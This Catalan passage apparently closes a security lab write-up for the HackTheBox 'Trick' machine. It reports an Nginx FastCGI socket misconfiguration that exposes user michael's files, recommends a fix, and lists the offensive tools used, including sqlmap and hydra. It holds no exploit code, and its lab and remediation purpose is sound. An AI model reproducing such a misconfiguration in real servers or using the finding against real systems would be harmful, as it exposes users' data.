El fitxer /etc/nginx/sites-enabled/default a $TARGETfastcgi_pass configurat per a un Socket Unix que permet l’accés als fitxers del usuari local michael. Això ha permès la exposició de dades sensibles i l’accés d’usuari.

Configurar el Nginx amb un Socket Unix relatiu als propòsits necessaris del Virtual Host preprod-marketing.trick.htb mitigaria aquest problema. Això podria ser un socket com està configurat amb els altres virtual hosts en el fitxer, o un compte de sistema nou específic per a la finalitat d’aquest socket.

Referències

InvestigacióDescripció
Documentació de Fail2BanUtilitzat per entendre l’ús i la configuració de Fail2Ban
Documentació de NginxEntendre la configuració de Nginx
Eines UtilitzadesDescripció
CaidoEina lleugera de proxy web
NMapUtilitat gratuïta per a la descoberta de xarxes i auditoria de seguretat
smtp-user-enumEina d’enumeració d’usuaris SMTP
sqlmapEina d’enumeració d’injeccions SQL
swaksEina lleugera de línia de comandes per a SMTP
thc-hydraEina de força bruta
digEina Groper d’informació del domini